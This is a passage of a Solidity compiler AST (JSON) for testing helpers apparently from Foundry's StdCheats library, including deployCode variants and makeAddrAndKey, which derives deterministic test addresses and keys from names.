failed.\""}],"id":5174,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"19102:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5182,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19102:79:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5183,"nodeType":"ExpressionStatement","src":"19102:79:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCode","nameLocation":"18830:10:3","parameters":{"id":5162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5161,"mutability":"mutable","name":"what","nameLocation":"18855:4:3","nodeType":"VariableDeclaration","scope":5185,"src":"18841:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5160,"name":"string","nodeType":"ElementaryTypeName","src":"18841:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"18840:20:3"},"returnParameters":{"id":5165,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5164,"mutability":"mutable","name":"addr","nameLocation":"18895:4:3","nodeType":"VariableDeclaration","scope":5185,"src":"18887:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5163,"name":"address","nodeType":"ElementaryTypeName","src":"18887:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18886:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5220,"nodeType":"FunctionDefinition","src":"19250:439:3","nodes":[],"body":{"id":5219,"nodeType":"Block","src":"19362:327:3","nodes":[],"statements":[{"assignments":[5198],"declarations":[{"constant":false,"id":5198,"mutability":"mutable","name":"bytecode","nameLocation":"19385:8:3","nodeType":"VariableDeclaration","scope":5219,"src":"19372:21:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5197,"name":"bytes","nodeType":"ElementaryTypeName","src":"19372:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5207,"initialValue":{"arguments":[{"arguments":[{"id":5203,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5188,"src":"19424:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5201,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"19413:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5202,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"19416:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"19413:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":5204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19413:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":5205,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5190,"src":"19431:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5199,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"19396:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5200,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"19400:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"19396:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19396:40:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"19372:64:3"},{"AST":{"nativeSrc":"19498:81:3","nodeType":"YulBlock","src":"19498:81:3","statements":[{"nativeSrc":"19512:57:3","nodeType":"YulAssignment","src":"19512:57:3","value":{"arguments":[{"name":"val","nativeSrc":"19527:3:3","nodeType":"YulIdentifier","src":"19527:3:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19536:8:3","nodeType":"YulIdentifier","src":"19536:8:3"},{"kind":"number","nativeSrc":"19546:4:3","nodeType":"YulLiteral","src":"19546:4:3","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"19532:3:3","nodeType":"YulIdentifier","src":"19532:3:3"},"nativeSrc":"19532:19:3","nodeType":"YulFunctionCall","src":"19532:19:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19559:8:3","nodeType":"YulIdentifier","src":"19559:8:3"}],"functionName":{"name":"mload","nativeSrc":"19553:5:3","nodeType":"YulIdentifier","src":"19553:5:3"},"nativeSrc":"19553:15:3","nodeType":"YulFunctionCall","src":"19553:15:3"}],"functionName":{"name":"create","nativeSrc":"19520:6:3","nodeType":"YulIdentifier","src":"19520:6:3"},"nativeSrc":"19520:49:3","nodeType":"YulFunctionCall","src":"19520:49:3"},"variableNames":[{"name":"addr","nativeSrc":"19512:4:3","nodeType":"YulIdentifier","src":"19512:4:3"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":5195,"isOffset":false,"isSlot":false,"src":"19512:4:3","valueSize":1},{"declaration":5198,"isOffset":false,"isSlot":false,"src":"19536:8:3","valueSize":1},{"declaration":5198,"isOffset":false,"isSlot":false,"src":"19559:8:3","valueSize":1},{"declaration":5192,"isOffset":false,"isSlot":false,"src":"19527:3:3","valueSize":1}],"id":5208,"nodeType":"InlineAssembly","src":"19489:90:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":5215,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5210,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5195,"src":"19597:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":5213,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"19613:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":5212,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"19605:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5211,"name":"address","nodeType":"ElementaryTypeName","src":"19605:7:3","typeDescriptions":{}}},"id":5214,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19605:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"19597:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f646528737472696e672c62797465732c75696e74323536293a204465706c6f796d656e74206661696c65642e","id":5216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19617:64:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b17e0074adb88d93215aea54607c780b63b16eef6aef31eb92005d5de3508fa0","typeString":"literal_string \"StdCheats deployCode(string,bytes,uint256): Deployment failed.\""},"value":"StdCheats deployCode(string,bytes,uint256): Deployment failed."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b17e0074adb88d93215aea54607c780b63b16eef6aef31eb92005d5de3508fa0","typeString":"literal_string \"StdCheats deployCode(string,bytes,uint256): Deployment failed.\""}],"id":5209,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"19589:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5217,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19589:93:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5218,"nodeType":"ExpressionStatement","src":"19589:93:3"}]},"documentation":{"id":5186,"nodeType":"StructuredDocumentation","src":"19194:51:3","text":"@dev deploy contract with value on construction"},"implemented":true,"kind":"function","modifiers":[],"name":"deployCode","nameLocation":"19259:10:3","parameters":{"id":5193,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5188,"mutability":"mutable","name":"what","nameLocation":"19284:4:3","nodeType":"VariableDeclaration","scope":5220,"src":"19270:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5187,"name":"string","nodeType":"ElementaryTypeName","src":"19270:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":5190,"mutability":"mutable","name":"args","nameLocation":"19303:4:3","nodeType":"VariableDeclaration","scope":5220,"src":"19290:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5189,"name":"bytes","nodeType":"ElementaryTypeName","src":"19290:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":5192,"mutability":"mutable","name":"val","nameLocation":"19317:3:3","nodeType":"VariableDeclaration","scope":5220,"src":"19309:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5191,"name":"uint256","nodeType":"ElementaryTypeName","src":"19309:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"19269:52:3"},"returnParameters":{"id":5196,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5195,"mutability":"mutable","name":"addr","nameLocation":"19356:4:3","nodeType":"VariableDeclaration","scope":5220,"src":"19348:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5194,"name":"address","nodeType":"ElementaryTypeName","src":"19348:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"19347:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5248,"nodeType":"FunctionDefinition","src":"19695:390:3","nodes":[],"body":{"id":5247,"nodeType":"Block","src":"19788:297:3","nodes":[],"statements":[{"assignments":[5230],"declarations":[{"constant":false,"id":5230,"mutability":"mutable","name":"bytecode","nameLocation":"19811:8:3","nodeType":"VariableDeclaration","scope":5247,"src":"19798:21:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5229,"name":"bytes","nodeType":"ElementaryTypeName","src":"19798:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5235,"initialValue":{"arguments":[{"id":5233,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5222,"src":"19833:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5231,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"19822:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5232,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"19825:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"19822:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":5234,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19822:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"19798:40:3"},{"AST":{"nativeSrc":"19900:81:3","nodeType":"YulBlock","src":"19900:81:3","statements":[{"nativeSrc":"19914:57:3","nodeType":"YulAssignment","src":"19914:57:3","value":{"arguments":[{"name":"val","nativeSrc":"19929:3:3","nodeType":"YulIdentifier","src":"19929:3:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19938:8:3","nodeType":"YulIdentifier","src":"19938:8:3"},{"kind":"number","nativeSrc":"19948:4:3","nodeType":"YulLiteral","src":"19948:4:3","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"19934:3:3","nodeType":"YulIdentifier","src":"19934:3:3"},"nativeSrc":"19934:19:3","nodeType":"YulFunctionCall","src":"19934:19:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19961:8:3","nodeType":"YulIdentifier","src":"19961:8:3"}],"functionName":{"name":"mload","nativeSrc":"19955:5:3","nodeType":"YulIdentifier","src":"19955:5:3"},"nativeSrc":"19955:15:3","nodeType":"YulFunctionCall","src":"19955:15:3"}],"functionName":{"name":"create","nativeSrc":"19922:6:3","nodeType":"YulIdentifier","src":"19922:6:3"},"nativeSrc":"19922:49:3","nodeType":"YulFunctionCall","src":"19922:49:3"},"variableNames":[{"name":"addr","nativeSrc":"19914:4:3","nodeType":"YulIdentifier","src":"19914:4:3"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":5227,"isOffset":false,"isSlot":false,"src":"19914:4:3","valueSize":1},{"declaration":5230,"isOffset":false,"isSlot":false,"src":"19938:8:3","valueSize":1},{"declaration":5230,"isOffset":false,"isSlot":false,"src":"19961:8:3","valueSize":1},{"declaration":5224,"isOffset":false,"isSlot":false,"src":"19929:3:3","valueSize":1}],"id":5236,"nodeType":"InlineAssembly","src":"19891:90:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":5243,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5238,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5227,"src":"19999:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":5241,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"20015:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":5240,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"20007:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5239,"name":"address","nodeType":"ElementaryTypeName","src":"20007:7:3","typeDescriptions":{}}},"id":5242,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20007:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"19999:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f646528737472696e672c75696e74323536293a204465706c6f796d656e74206661696c65642e","id":5244,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"20019:58:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_cea3fb8155c56e1e84c027eaf19b7f987ed52f1b7ae1ee8bed46141b7ecf08d2","typeString":"literal_string \"StdCheats deployCode(string,uint256): Deployment failed.\""},"value":"StdCheats deployCode(string,uint256): Deployment failed."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cea3fb8155c56e1e84c027eaf19b7f987ed52f1b7ae1ee8bed46141b7ecf08d2","typeString":"literal_string \"StdCheats deployCode(string,uint256): Deployment failed.\""}],"id":5237,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"19991:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5245,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19991:87:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5246,"nodeType":"ExpressionStatement","src":"19991:87:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCode","nameLocation":"19704:10:3","parameters":{"id":5225,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5222,"mutability":"mutable","name":"what","nameLocation":"19729:4:3","nodeType":"VariableDeclaration","scope":5248,"src":"19715:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5221,"name":"string","nodeType":"ElementaryTypeName","src":"19715:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":5224,"mutability":"mutable","name":"val","nameLocation":"19743:3:3","nodeType":"VariableDeclaration","scope":5248,"src":"19735:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5223,"name":"uint256","nodeType":"ElementaryTypeName","src":"19735:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"19714:33:3"},"returnParameters":{"id":5228,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5227,"mutability":"mutable","name":"addr","nameLocation":"19782:4:3","nodeType":"VariableDeclaration","scope":5248,"src":"19774:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5226,"name":"address","nodeType":"ElementaryTypeName","src":"19774:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"19773:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5284,"nodeType":"FunctionDefinition","src":"20158:242:3","nodes":[],"body":{"id":5283,"nodeType":"Block","src":"20262:138:3","nodes":[],"statements":[{"expression":{"id":5267,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5257,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5255,"src":"20272:10:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":5263,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5250,"src":"20320:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5261,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"20303:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5262,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"20307:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"20303:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5264,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20303:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5260,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"20293:9:3","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":5265,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20293:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":5259,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"20285:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5258,"name":"uint256","nodeType":"ElementaryTypeName","src":"20285:7:3","typeDescriptions":{}}},"id":5266,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20285:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"20272:55:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5268,"nodeType":"ExpressionStatement","src":"20272:55:3"},{"expression":{"id":5274,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5269,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5253,"src":"20337:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5272,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5255,"src":"20352:10:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5270,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"20344:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5271,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"20347:4:3","memberName":"addr","nodeType":"MemberAccess","referencedDeclaration":12514,"src":"20344:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_address_$","typeString":"function (uint256) pure external returns (address)"}},"id":5273,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20344:19:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"20337:26:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5275,"nodeType":"ExpressionStatement","src":"20337:26:3"},{"expression":{"arguments":[{"id":5279,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5253,"src":"20382:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5280,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5250,"src":"20388:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5276,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"20373:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"20376:5:3","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"20373:8:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":5281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20373:20:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5282,"nodeType":"ExpressionStatement","src":"20373:20:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"makeAddrAndKey","nameLocation":"20167:14:3","parameters":{"id":5251,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5250,"mutability":"mutable","name":"name","nameLocation":"20196:4:3","nodeType":"VariableDeclaration","scope":5284,"src":"20182:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5249,"name":"string","nodeType":"ElementaryTypeName","src":"20182:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20181:20:3"},"returnParameters":{"id":5256,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5253,"mutability":"mutable","name":"addr","nameLocation":"20236:4:3","nodeType":"VariableDeclaration","scope":5284,"src":"20228:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5252,"name":"address","nodeType":"ElementaryTypeName","src":"20228:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5255,"mutability":"mutable","name":"privateKey","nameLocation":"20250:10:3","nodeType":"VariableDeclaration","scope":5284,"src":"20242:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5254,"name":"uint256","nodeType":"ElementaryTypeName","src":"20242:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"20227:34:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5299,"nodeType":"FunctionDefinition","src":"20439:125:3","nodes":[],"body":{"id":5298,"nodeType":"Block","src":"20517:47:3","nodes":[],"statements":[{"expression":{"id":5296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":5291,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5289,"src":"20528:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},null],"id":5292,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"20527:7:3","typeDescriptions":{"typeIdentifier":"t_tuple$_t_address_$__$","typeString":"tuple(address,)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5294,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5286,"src":"20552:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":5293,"name":"makeAddrAndKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5284,"src":"20537:14:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$_t_uint256_$","typeString":"function (string memory) returns 